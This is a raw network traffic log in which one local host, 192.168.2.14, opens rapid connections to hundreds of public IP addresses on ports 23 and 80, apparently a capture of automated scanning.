Jan 30, 2025 10:43:02.129549026 CET	62855	80	192.168.2.14	98.226.238.75
Jan 30, 2025 10:43:02.129549026 CET	63367	23	192.168.2.14	37.186.248.171
Jan 30, 2025 10:43:02.129549026 CET	62855	80	192.168.2.14	142.2.215.144
Jan 30, 2025 10:43:02.129549026 CET	63367	23	192.168.2.14	204.40.158.38
Jan 30, 2025 10:43:02.129549026 CET	63367	23	192.168.2.14	182.210.33.107
Jan 30, 2025 10:43:02.129549026 CET	62855	80	192.168.2.14	57.161.29.173
Jan 30, 2025 10:43:02.129549026 CET	62855	80	192.168.2.14	96.71.196.227
Jan 30, 2025 10:43:02.129554033 CET	63367	23	192.168.2.14	107.119.76.143
Jan 30, 2025 10:43:02.129554033 CET	62855	80	192.168.2.14	61.171.217.79
Jan 30, 2025 10:43:02.129554033 CET	63367	23	192.168.2.14	93.226.124.177
Jan 30, 2025 10:43:02.129554987 CET	63367	23	192.168.2.14	117.142.158.213
Jan 30, 2025 10:43:02.129554033 CET	63367	23	192.168.2.14	139.136.192.230
Jan 30, 2025 10:43:02.129554987 CET	63367	23	192.168.2.14	121.10.204.131
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	124.223.93.64
Jan 30, 2025 10:43:02.129554033 CET	62855	80	192.168.2.14	67.86.35.57
Jan 30, 2025 10:43:02.129555941 CET	62855	80	192.168.2.14	43.27.70.127
Jan 30, 2025 10:43:02.129554033 CET	63367	23	192.168.2.14	172.250.183.229
Jan 30, 2025 10:43:02.129558086 CET	63367	23	192.168.2.14	4.183.36.158
Jan 30, 2025 10:43:02.129554987 CET	63367	23	192.168.2.14	197.105.243.198
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	70.103.10.189
Jan 30, 2025 10:43:02.129561901 CET	62855	80	192.168.2.14	120.63.205.125
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	172.41.223.36
Jan 30, 2025 10:43:02.129556894 CET	63367	23	192.168.2.14	98.139.32.66
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	185.113.27.147
Jan 30, 2025 10:43:02.129566908 CET	62855	80	192.168.2.14	165.89.105.42
Jan 30, 2025 10:43:02.129555941 CET	62855	80	192.168.2.14	188.46.36.28
Jan 30, 2025 10:43:02.129561901 CET	63367	23	192.168.2.14	187.7.124.133
Jan 30, 2025 10:43:02.129555941 CET	62855	80	192.168.2.14	12.103.249.50
Jan 30, 2025 10:43:02.129558086 CET	62855	80	192.168.2.14	98.191.171.104
Jan 30, 2025 10:43:02.129554987 CET	63367	23	192.168.2.14	204.136.141.195
Jan 30, 2025 10:43:02.129554033 CET	62855	80	192.168.2.14	187.158.180.37
Jan 30, 2025 10:43:02.129561901 CET	63367	23	192.168.2.14	32.72.150.93
Jan 30, 2025 10:43:02.129556894 CET	63367	23	192.168.2.14	49.6.67.42
Jan 30, 2025 10:43:02.129554033 CET	63367	23	192.168.2.14	121.185.78.3
Jan 30, 2025 10:43:02.129561901 CET	62855	80	192.168.2.14	140.228.84.100
Jan 30, 2025 10:43:02.129554987 CET	63367	23	192.168.2.14	120.70.189.22
Jan 30, 2025 10:43:02.129558086 CET	62855	80	192.168.2.14	218.85.160.204
Jan 30, 2025 10:43:02.129556894 CET	63367	23	192.168.2.14	18.158.246.146
Jan 30, 2025 10:43:02.129561901 CET	63367	23	192.168.2.14	27.70.238.133
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	13.6.4.92
Jan 30, 2025 10:43:02.129554987 CET	63367	23	192.168.2.14	70.52.119.91
Jan 30, 2025 10:43:02.129558086 CET	63367	23	192.168.2.14	126.32.75.114
Jan 30, 2025 10:43:02.129558086 CET	62855	80	192.168.2.14	91.222.137.202
Jan 30, 2025 10:43:02.129554987 CET	62855	80	192.168.2.14	185.245.104.51
Jan 30, 2025 10:43:02.129558086 CET	63367	23	192.168.2.14	4.24.239.244
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	182.167.187.101
Jan 30, 2025 10:43:02.129556894 CET	63367	23	192.168.2.14	141.12.56.135
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	109.148.180.112
Jan 30, 2025 10:43:02.129556894 CET	63367	23	192.168.2.14	75.111.132.110
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	219.222.195.230
Jan 30, 2025 10:43:02.129561901 CET	63367	23	192.168.2.14	148.15.243.215
Jan 30, 2025 10:43:02.129554987 CET	63367	23	192.168.2.14	53.157.198.165
Jan 30, 2025 10:43:02.129585981 CET	62855	80	192.168.2.14	210.8.58.127
Jan 30, 2025 10:43:02.129558086 CET	63367	23	192.168.2.14	63.78.13.135
Jan 30, 2025 10:43:02.129555941 CET	62855	80	192.168.2.14	211.246.142.247
Jan 30, 2025 10:43:02.129558086 CET	63367	23	192.168.2.14	221.74.169.184
Jan 30, 2025 10:43:02.129585981 CET	62855	80	192.168.2.14	121.166.19.239
Jan 30, 2025 10:43:02.129561901 CET	63367	23	192.168.2.14	84.96.98.5
Jan 30, 2025 10:43:02.129556894 CET	63367	23	192.168.2.14	40.117.30.122
Jan 30, 2025 10:43:02.129555941 CET	63367	23	192.168.2.14	35.185.6.160
Jan 30, 2025 10:43:02.129561901 CET	62855	80	192.168.2.14	199.156.141.158
Jan 30, 2025 10:43:02.129555941 CET	62855	80	192.168.2.14	186.132.218.69
Jan 30, 2025 10:43:02.129558086 CET	63367	23	192.168.2.14	57.205.93.112
Jan 30, 2025 10:43:02.129555941 CET	62855	80	192.168.2.14	108.140.253.56
Jan 30, 2025 10:43:02.129558086 CET	63367	23	192.168.2.14	86.24.15.189
Jan 30, 2025 10:43:02.129555941 CET	62855	80	192.168.2.14	213.132.29.90
Jan 30, 2025 10:43:02.129566908 CET	63367	23	192.168.2.14	147.100.34.166
Jan 30, 2025 10:43:02.129566908 CET	62855	80	192.168.2.14	153.51.138.153
Jan 30, 2025 10:43:02.129566908 CET	63367	23	192.168.2.14	90.78.155.121
Jan 30, 2025 10:43:02.129566908 CET	63367	23	192.168.2.14	59.109.194.202
Jan 30, 2025 10:43:02.129568100 CET	62855	80	192.168.2.14	125.88.179.99
Jan 30, 2025 10:43:02.129606009 CET	63367	23	192.168.2.14	59.107.91.167
Jan 30, 2025 10:43:02.129568100 CET	62855	80	192.168.2.14	222.211.67.234
Jan 30, 2025 10:43:02.129606009 CET	63367	23	192.168.2.14	48.224.106.164
Jan 30, 2025 10:43:02.129606009 CET	62855	80	192.168.2.14	180.248.135.107
Jan 30, 2025 10:43:02.129568100 CET	63367	23	192.168.2.14	165.212.37.194
Jan 30, 2025 10:43:02.129606009 CET	63367	23	192.168.2.14	219.181.65.131
Jan 30, 2025 10:43:02.129606009 CET	63367	23	192.168.2.14	158.69.172.14
Jan 30, 2025 10:43:02.129606009 CET	62855	80	192.168.2.14	194.159.247.62
Jan 30, 2025 10:43:02.129606009 CET	62855	80	192.168.2.14	141.182.162.52
Jan 30, 2025 10:43:02.129611015 CET	63367	23	192.168.2.14	146.251.218.250
Jan 30, 2025 10:43:02.129611015 CET	63367	23	192.168.2.14	46.197.76.10
Jan 30, 2025 10:43:02.129611015 CET	62855	80	192.168.2.14	180.3.213.54
Jan 30, 2025 10:43:02.129611015 CET	62855	80	192.168.2.14	205.220.218.174
Jan 30, 2025 10:43:02.129611015 CET	63367	23	192.168.2.14	49.31.154.151
Jan 30, 2025 10:43:02.129611015 CET	63367	23	192.168.2.14	200.48.204.112
Jan 30, 2025 10:43:02.129611015 CET	62855	80	192.168.2.14	208.56.238.180
Jan 30, 2025 10:43:02.129611015 CET	63367	23	192.168.2.14	194.242.43.217
Jan 30, 2025 10:43:02.129611969 CET	63367	23	192.168.2.14	46.17.46.248
Jan 30, 2025 10:43:02.129612923 CET	63367	23	192.168.2.14	125.125.147.178
Jan 30, 2025 10:43:02.129614115 CET	62855	80	192.168.2.14	53.38.173.210
Jan 30, 2025 10:43:02.129611969 CET	63367	23	192.168.2.14	198.184.70.41
Jan 30, 2025 10:43:02.129611015 CET	62855	80	192.168.2.14	71.225.145.41
Jan 30, 2025 10:43:02.129612923 CET	62855	80	192.168.2.14	63.85.68.33
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	62.96.66.108
Jan 30, 2025 10:43:02.129611969 CET	63367	23	192.168.2.14	53.100.200.225
Jan 30, 2025 10:43:02.129611015 CET	62855	80	192.168.2.14	163.5.215.240
Jan 30, 2025 10:43:02.129611969 CET	62855	80	192.168.2.14	65.105.184.156
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	62.180.5.244
Jan 30, 2025 10:43:02.129611969 CET	63367	23	192.168.2.14	212.132.241.165
Jan 30, 2025 10:43:02.129612923 CET	63367	23	192.168.2.14	49.82.204.42
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	220.109.183.149
Jan 30, 2025 10:43:02.129618883 CET	62855	80	192.168.2.14	223.246.154.73
Jan 30, 2025 10:43:02.129611015 CET	63367	23	192.168.2.14	53.47.242.144
Jan 30, 2025 10:43:02.129612923 CET	63367	23	192.168.2.14	31.183.113.198
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	166.39.181.148
Jan 30, 2025 10:43:02.129612923 CET	62855	80	192.168.2.14	88.217.6.183
Jan 30, 2025 10:43:02.129618883 CET	63367	23	192.168.2.14	95.142.192.13
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	19.31.64.143
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	20.215.245.43
Jan 30, 2025 10:43:02.129618883 CET	63367	23	192.168.2.14	115.26.224.146
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	108.119.96.84
Jan 30, 2025 10:43:02.129614115 CET	63367	23	192.168.2.14	82.91.60.80
Jan 30, 2025 10:43:02.129615068 CET	63367	23	192.168.2.14	74.120.2.149
Jan 30, 2025 10:43:02.129618883 CET	63367	23	192.168.2.14	49.91.183.240
Jan 30, 2025 10:43:02.129614115 CET	62855	80	192.168.2.14	155.136.112.35
Jan 30, 2025 10:43:02.129618883 CET	62855	80	192.168.2.14	193.46.107.41
Jan 30, 2025 10:43:02.129618883 CET	62855	80	192.168.2.14	157.100.231.5
Jan 30, 2025 10:43:02.129618883 CET	62855	80	192.168.2.14	40.44.199.99
Jan 30, 2025 10:43:02.129618883 CET	62855	80	192.168.2.14	165.62.97.99
Jan 30, 2025 10:43:02.129637003 CET	63367	23	192.168.2.14	72.18.158.199
Jan 30, 2025 10:43:02.129637003 CET	62855	80	192.168.2.14	154.54.167.82
Jan 30, 2025 10:43:02.129637003 CET	63367	23	192.168.2.14	116.94.183.64
Jan 30, 2025 10:43:02.129637003 CET	62855	80	192.168.2.14	177.253.111.242
Jan 30, 2025 10:43:02.129637957 CET	63367	23	192.168.2.14	93.214.111.164
Jan 30, 2025 10:43:02.129637003 CET	62855	80	192.168.2.14	8.31.26.58
Jan 30, 2025 10:43:02.129637957 CET	63367	23	192.168.2.14	52.206.97.12
Jan 30, 2025 10:43:02.129637957 CET	63367	23	192.168.2.14	121.82.247.19
Jan 30, 2025 10:43:02.129637957 CET	62855	80	192.168.2.14	74.135.182.7
Jan 30, 2025 10:43:02.129637957 CET	62855	80	192.168.2.14	35.226.206.76
Jan 30, 2025 10:43:02.129637957 CET	63367	23	192.168.2.14	205.80.223.26
Jan 30, 2025 10:43:02.129637957 CET	63367	23	192.168.2.14	13.208.245.34
Jan 30, 2025 10:43:02.129637957 CET	62855	80	192.168.2.14	70.253.156.63
Jan 30, 2025 10:43:02.129637957 CET	62855	80	192.168.2.14	51.146.200.255
Jan 30, 2025 10:43:02.129642010 CET	63367	23	192.168.2.14	181.82.187.17
Jan 30, 2025 10:43:02.129645109 CET	62855	80	192.168.2.14	212.89.165.234
Jan 30, 2025 10:43:02.129641056 CET	63367	23	192.168.2.14	105.117.192.240
Jan 30, 2025 10:43:02.129642010 CET	63367	23	192.168.2.14	36.93.158.248
Jan 30, 2025 10:43:02.129637957 CET	63367	23	192.168.2.14	73.88.247.168
Jan 30, 2025 10:43:02.129641056 CET	63367	23	192.168.2.14	92.80.111.251
Jan 30, 2025 10:43:02.129642010 CET	63367	23	192.168.2.14	178.79.57.147
Jan 30, 2025 10:43:02.129641056 CET	62855	80	192.168.2.14	78.67.238.237
Jan 30, 2025 10:43:02.129642010 CET	63367	23	192.168.2.14	183.178.229.169
Jan 30, 2025 10:43:02.129641056 CET	62855	80	192.168.2.14	108.138.103.21
Jan 30, 2025 10:43:02.129642010 CET	62855	80	192.168.2.14	123.29.3.64
Jan 30, 2025 10:43:02.129637957 CET	63367	23	192.168.2.14	181.113.104.54
Jan 30, 2025 10:43:02.129642010 CET	63367	23	192.168.2.14	206.211.41.62
Jan 30, 2025 10:43:02.129642010 CET	63367	23	192.168.2.14	177.46.236.57
Jan 30, 2025 10:43:02.129645109 CET	63367	23	192.168.2.14	199.244.214.117
Jan 30, 2025 10:43:02.129642010 CET	62855	80	192.168.2.14	150.18.71.121
Jan 30, 2025 10:43:02.129656076 CET	62855	80	192.168.2.14	36.74.197.212
Jan 30, 2025 10:43:02.129645109 CET	63367	23	192.168.2.14	81.245.217.160
Jan 30, 2025 10:43:02.129658937 CET	63367	23	192.168.2.14	106.179.112.228
Jan 30, 2025 10:43:02.129656076 CET	62855	80	192.168.2.14	74.188.166.84
Jan 30, 2025 10:43:02.129645109 CET	62855	80	192.168.2.14	158.182.95.90
Jan 30, 2025 10:43:02.129656076 CET	62855	80	192.168.2.14	192.35.92.42
Jan 30, 2025 10:43:02.129658937 CET	63367	23	192.168.2.14	122.151.12.34
Jan 30, 2025 10:43:02.129645109 CET	63367	23	192.168.2.14	157.187.88.148
Jan 30, 2025 10:43:02.129656076 CET	63367	23	192.168.2.14	83.132.40.66
Jan 30, 2025 10:43:02.129645109 CET	62855	80	192.168.2.14	63.21.51.147
Jan 30, 2025 10:43:02.129664898 CET	62855	80	192.168.2.14	84.29.217.163
Jan 30, 2025 10:43:02.129667997 CET	62855	80	192.168.2.14	74.255.96.189
Jan 30, 2025 10:43:02.129645109 CET	63367	23	192.168.2.14	23.232.6.145
Jan 30, 2025 10:43:02.129658937 CET	63367	23	192.168.2.14	49.249.123.255
Jan 30, 2025 10:43:02.129667997 CET	62855	80	192.168.2.14	77.160.102.101
Jan 30, 2025 10:43:02.129645109 CET	63367	23	192.168.2.14	5.36.60.203
Jan 30, 2025 10:43:02.129640102 CET	63367	23	192.168.2.14	152.165.45.109
Jan 30, 2025 10:43:02.129658937 CET	63367	23	192.168.2.14	183.3.234.69
Jan 30, 2025 10:43:02.129664898 CET	63367	23	192.168.2.14	91.48.232.13
Jan 30, 2025 10:43:02.129658937 CET	63367	23	192.168.2.14	59.89.126.192
Jan 30, 2025 10:43:02.129669905 CET	63367	23	192.168.2.14	64.98.111.106
Jan 30, 2025 10:43:02.129658937 CET	62855	80	192.168.2.14	38.228.171.14
Jan 30, 2025 10:43:02.129664898 CET	63367	23	192.168.2.14	190.105.113.129
Jan 30, 2025 10:43:02.129669905 CET	63367	23	192.168.2.14	196.213.78.185
Jan 30, 2025 10:43:02.129659891 CET	62855	80	192.168.2.14	103.214.73.222
Jan 30, 2025 10:43:02.129656076 CET	63367	23	192.168.2.14	123.213.43.225
Jan 30, 2025 10:43:02.129667997 CET	62855	80	192.168.2.14	99.115.118.42
Jan 30, 2025 10:43:02.129669905 CET	62855	80	192.168.2.14	133.250.44.237
Jan 30, 2025 10:43:02.129659891 CET	62855	80	192.168.2.14	36.14.81.142
Jan 30, 2025 10:43:02.129656076 CET	62855	80	192.168.2.14	201.209.119.223
Jan 30, 2025 10:43:02.129667997 CET	62855	80	192.168.2.14	152.249.95.125
Jan 30, 2025 10:43:02.129664898 CET	62855	80	192.168.2.14	206.8.129.80
Jan 30, 2025 10:43:02.129656076 CET	63367	23	192.168.2.14	27.10.196.243
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	48.9.226.134
Jan 30, 2025 10:43:02.129669905 CET	62855	80	192.168.2.14	210.186.144.145
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	81.102.3.237
Jan 30, 2025 10:43:02.129669905 CET	62855	80	192.168.2.14	134.248.39.194
Jan 30, 2025 10:43:02.129664898 CET	62855	80	192.168.2.14	121.209.156.94
Jan 30, 2025 10:43:02.129693985 CET	62855	80	192.168.2.14	23.216.157.149
Jan 30, 2025 10:43:02.129656076 CET	63367	23	192.168.2.14	110.36.96.161
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	180.12.9.90
Jan 30, 2025 10:43:02.129693985 CET	62855	80	192.168.2.14	132.201.9.16
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	125.163.47.236
Jan 30, 2025 10:43:02.129669905 CET	63367	23	192.168.2.14	216.232.125.196
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	89.86.67.175
Jan 30, 2025 10:43:02.129693985 CET	62855	80	192.168.2.14	118.165.59.122
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	89.147.16.13
Jan 30, 2025 10:43:02.129693985 CET	63367	23	192.168.2.14	132.145.98.86
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	193.134.181.237
Jan 30, 2025 10:43:02.129693985 CET	62855	80	192.168.2.14	213.210.105.248
Jan 30, 2025 10:43:02.129683971 CET	63367	23	192.168.2.14	107.109.199.113
Jan 30, 2025 10:43:02.129693985 CET	62855	80	192.168.2.14	210.189.19.164
Jan 30, 2025 10:43:02.129640102 CET	63367	23	192.168.2.14	81.46.222.48
Jan 30, 2025 10:43:02.129693985 CET	62855	80	192.168.2.14	72.57.212.202
Jan 30, 2025 10:43:02.129703045 CET	62855	80	192.168.2.14	79.193.219.135
Jan 30, 2025 10:43:02.129693985 CET	62855	80	192.168.2.14	50.200.1.117
Jan 30, 2025 10:43:02.129705906 CET	63367	23	192.168.2.14	201.196.210.243
Jan 30, 2025 10:43:02.129707098 CET	62855	80	192.168.2.14	79.143.183.103
Jan 30, 2025 10:43:02.129640102 CET	63367	23	192.168.2.14	155.163.28.41
Jan 30, 2025 10:43:02.129703045 CET	63367	23	192.168.2.14	222.173.22.30
Jan 30, 2025 10:43:02.129707098 CET	63367	23	192.168.2.14	184.166.180.93
Jan 30, 2025 10:43:02.129703045 CET	62855	80	192.168.2.14	171.147.22.17
Jan 30, 2025 10:43:02.129640102 CET	63367	23	192.168.2.14	83.193.175.108
Jan 30, 2025 10:43:02.129710913 CET	63367	23	192.168.2.14	68.151.101.234
Jan 30, 2025 10:43:02.129707098 CET	62855	80	192.168.2.14	62.100.39.156
Jan 30, 2025 10:43:02.129710913 CET	63367	23	192.168.2.14	84.99.250.6
Jan 30, 2025 10:43:02.129714966 CET	62855	80	192.168.2.14	101.97.111.193
Jan 30, 2025 10:43:02.129710913 CET	62855	80	192.168.2.14	78.128.115.49
Jan 30, 2025 10:43:02.129710913 CET	62855	80	192.168.2.14	121.28.116.185
Jan 30, 2025 10:43:02.129707098 CET	63367	23	192.168.2.14	162.245.214.11
Jan 30, 2025 10:43:02.129705906 CET	63367	23	192.168.2.14	109.33.33.211
Jan 30, 2025 10:43:02.129710913 CET	62855	80	192.168.2.14	222.167.75.4
Jan 30, 2025 10:43:02.129705906 CET	63367	23	192.168.2.14	86.175.45.216
Jan 30, 2025 10:43:02.129703045 CET	62855	80	192.168.2.14	174.30.199.119
Jan 30, 2025 10:43:02.129714966 CET	62855	80	192.168.2.14	210.18.235.182
Jan 30, 2025 10:43:02.129705906 CET	62855	80	192.168.2.14	89.167.66.80
Jan 30, 2025 10:43:02.129703045 CET	62855	80	192.168.2.14	151.182.238.120
Jan 30, 2025 10:43:02.129705906 CET	62855	80	192.168.2.14	222.45.60.57
Jan 30, 2025 10:43:02.129703045 CET	62855	80	192.168.2.14	68.204.35.186
Jan 30, 2025 10:43:02.129705906 CET	62855	80	192.168.2.14	114.56.243.179
Jan 30, 2025 10:43:02.129707098 CET	62855	80	192.168.2.14	126.198.247.49
Jan 30, 2025 10:43:02.129703045 CET	62855	80	192.168.2.14	126.236.204.197
Jan 30, 2025 10:43:02.129707098 CET	62855	80	192.168.2.14	25.203.170.15
Jan 30, 2025 10:43:02.129705906 CET	62855	80	192.168.2.14	77.201.223.151
Jan 30, 2025 10:43:02.129723072 CET	62855	80	192.168.2.14	17.11.65.14
Jan 30, 2025 10:43:02.129714966 CET	63367	23	192.168.2.14	217.135.202.39
Jan 30, 2025 10:43:02.129719019 CET	62855	80	192.168.2.14	58.196.224.54
Jan 30, 2025 10:43:02.129707098 CET	62855	80	192.168.2.14	53.128.215.14
Jan 30, 2025 10:43:02.129719019 CET	62855	80	192.168.2.14	72.37.185.146
Jan 30, 2025 10:43:02.129707098 CET	62855	80	192.168.2.14	133.113.157.240
Jan 30, 2025 10:43:02.129714966 CET	62855	80	192.168.2.14	207.17.54.152
Jan 30, 2025 10:43:02.129710913 CET	62855	80	192.168.2.14	4.211.98.21
Jan 30, 2025 10:43:02.129714966 CET	62855	80	192.168.2.14	168.48.194.223
Jan 30, 2025 10:43:02.129710913 CET	62855	80	192.168.2.14	157.224.4.42
Jan 30, 2025 10:43:02.129714966 CET	62855	80	192.168.2.14	158.96.208.87
Jan 30, 2025 10:43:02.129714966 CET	62855	80	192.168.2.14	148.6.168.249
Jan 30, 2025 10:43:02.129714966 CET	62855	80	192.168.2.14	151.252.67.102
Jan 30, 2025 10:43:02.129741907 CET	62855	80	192.168.2.14	38.247.89.107
Jan 30, 2025 10:43:02.129743099 CET	62855	80	192.168.2.14	5.3.27.176
Jan 30, 2025 10:43:02.129741907 CET	62855	80	192.168.2.14	159.120.74.183
Jan 30, 2025 10:43:02.129743099 CET	62855	80	192.168.2.14	108.166.91.139
Jan 30, 2025 10:43:02.129741907 CET	62855	80	192.168.2.14	88.155.181.193
Jan 30, 2025 10:43:02.129640102 CET	62855	80	192.168.2.14	184.134.41.118
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	201.188.69.122
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	204.231.165.41
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	168.14.251.98
Jan 30, 2025 10:43:02.129723072 CET	62855	80	192.168.2.14	71.249.1.73
Jan 30, 2025 10:43:02.129750967 CET	62855	80	192.168.2.14	222.211.12.56
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	65.84.4.126
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	190.174.163.220
Jan 30, 2025 10:43:02.129641056 CET	63367	23	192.168.2.14	203.52.221.54
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	116.31.50.215
Jan 30, 2025 10:43:02.129755020 CET	62855	80	192.168.2.14	144.85.101.99
Jan 30, 2025 10:43:02.129641056 CET	62855	80	192.168.2.14	149.94.114.93
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	59.66.221.175
Jan 30, 2025 10:43:02.129641056 CET	62855	80	192.168.2.14	100.4.22.26
Jan 30, 2025 10:43:02.129748106 CET	62855	80	192.168.2.14	133.221.64.27
Jan 30, 2025 10:43:02.129771948 CET	62855	80	192.168.2.14	213.122.104.56
Jan 30, 2025 10:43:02.129779100 CET	62855	80	192.168.2.14	186.123.98.31
Jan 30, 2025 10:43:02.129784107 CET	62855	80	192.168.2.14	54.13.238.55
Jan 30, 2025 10:43:02.129806995 CET	62855	80	192.168.2.14	148.40.186.0
Jan 30, 2025 10:43:02.129806995 CET	62855	80	192.168.2.14	80.197.43.76
Jan 30, 2025 10:43:02.129806995 CET	62855	80	192.168.2.14	122.78.104.50
Jan 30, 2025 10:43:02.129807949 CET	62855	80	192.168.2.14	164.209.80.167
Jan 30, 2025 10:43:02.129807949 CET	62855	80	192.168.2.14	118.99.239.204
Jan 30, 2025 10:43:02.129807949 CET	62855	80	192.168.2.14	144.69.113.149
Jan 30, 2025 10:43:02.129807949 CET	62855	80	192.168.2.14	114.52.114.122
Jan 30, 2025 10:43:02.129807949 CET	63367	23	192.168.2.14	218.180.180.157
Jan 30, 2025 10:43:02.129839897 CET	62855	80	192.168.2.14	74.254.217.121
Jan 30, 2025 10:43:02.129839897 CET	62855	80	192.168.2.14	200.246.34.20
Jan 30, 2025 10:43:02.129839897 CET	62855	80	192.168.2.14	18.160.150.164
Jan 30, 2025 10:43:02.129841089 CET	62855	80	192.168.2.14	58.138.14.230
Jan 30, 2025 10:43:02.129841089 CET	62855	80	192.168.2.14	145.189.231.202
Jan 30, 2025 10:43:02.129841089 CET	62855	80	192.168.2.14	103.109.83.116
Jan 30, 2025 10:43:02.129841089 CET	62855	80	192.168.2.14	141.240.47.215
Jan 30, 2025 10:43:02.129841089 CET	62855	80	192.168.2.14	37.171.141.4
Jan 30, 2025 10:43:02.129869938 CET	62855	80	192.168.2.14	116.225.200.244
Jan 30, 2025 10:43:02.129869938 CET	62855	80	192.168.2.14	57.21.222.41
Jan 30, 2025 10:43:02.129870892 CET	62855	80	192.168.2.14	2.55.181.26
Jan 30, 2025 10:43:02.129870892 CET	62855	80	192.168.2.14	146.236.199.233
Jan 30, 2025 10:43:02.129870892 CET	62855	80	192.168.2.14	189.183.16.203
Jan 30, 2025 10:43:02.129870892 CET	62855	80	192.168.2.14	82.102.195.103
Jan 30, 2025 10:43:02.129870892 CET	62855	80	192.168.2.14	85.7.2.208
Jan 30, 2025 10:43:02.129961967 CET	46950	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:02.129981041 CET	46950	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:02.130533934 CET	47520	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:02.131068945 CET	42018	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.131068945 CET	42018	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.131526947 CET	42586	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.134702921 CET	80	46950	17.43.38.50	192.168.2.14
Jan 30, 2025 10:43:02.135822058 CET	80	42018	72.103.254.195	192.168.2.14
Jan 30, 2025 10:43:02.136267900 CET	80	42586	72.103.254.195	192.168.2.14
Jan 30, 2025 10:43:02.136307955 CET	42586	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.136393070 CET	42586	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.141278028 CET	80	42586	72.103.254.195	192.168.2.14
Jan 30, 2025 10:43:02.141340971 CET	42586	80	192.168.2.14	72.103.254.195
Jan 30, 2025 10:43:02.155262947 CET	44864	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:02.155284882 CET	45042	80	192.168.2.14	163.203.166.137
Jan 30, 2025 10:43:02.155288935 CET	53886	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:02.155308962 CET	43114	23	192.168.2.14	126.156.219.49
Jan 30, 2025 10:43:02.155322075 CET	38156	23	192.168.2.14	157.218.194.211
Jan 30, 2025 10:43:02.155322075 CET	44352	23	192.168.2.14	99.125.97.72
Jan 30, 2025 10:43:02.155333042 CET	35300	23	192.168.2.14	67.232.47.220
Jan 30, 2025 10:43:02.155339003 CET	54392	23	192.168.2.14	31.81.69.81
Jan 30, 2025 10:43:02.155344963 CET	51716	23	192.168.2.14	17.219.24.178
Jan 30, 2025 10:43:02.155353069 CET	36508	23	192.168.2.14	53.8.92.217
Jan 30, 2025 10:43:02.155366898 CET	44304	80	192.168.2.14	93.24.133.253
Jan 30, 2025 10:43:02.155369043 CET	42742	23	192.168.2.14	64.232.210.105
Jan 30, 2025 10:43:02.155383110 CET	46410	23	192.168.2.14	206.159.111.112
Jan 30, 2025 10:43:02.155389071 CET	45130	80	192.168.2.14	114.171.50.154
Jan 30, 2025 10:43:02.155390978 CET	57744	80	192.168.2.14	88.245.243.24
Jan 30, 2025 10:43:02.155395031 CET	54640	23	192.168.2.14	177.13.66.45
Jan 30, 2025 10:43:02.155410051 CET	58226	80	192.168.2.14	63.179.83.121
Jan 30, 2025 10:43:02.155411959 CET	60674	80	192.168.2.14	173.165.28.199
Jan 30, 2025 10:43:02.155414104 CET	53248	80	192.168.2.14	101.30.234.47
Jan 30, 2025 10:43:02.155422926 CET	34378	80	192.168.2.14	35.44.172.159
Jan 30, 2025 10:43:02.155780077 CET	34810	80	192.168.2.14	146.177.21.208
Jan 30, 2025 10:43:02.160065889 CET	80	44864	71.52.157.180	192.168.2.14
Jan 30, 2025 10:43:02.160077095 CET	80	53886	41.102.78.109	192.168.2.14
Jan 30, 2025 10:43:02.160155058 CET	44864	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:02.160155058 CET	53886	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:02.160315990 CET	53886	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:02.160334110 CET	53886	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:02.160944939 CET	54410	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:02.161359072 CET	44864	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:02.161371946 CET	44864	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:02.161716938 CET	45382	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:02.165111065 CET	80	53886	41.102.78.109	192.168.2.14
Jan 30, 2025 10:43:02.165745974 CET	80	54410	41.102.78.109	192.168.2.14
Jan 30, 2025 10:43:02.165801048 CET	54410	80	192.168.2.14	41.102.78.109
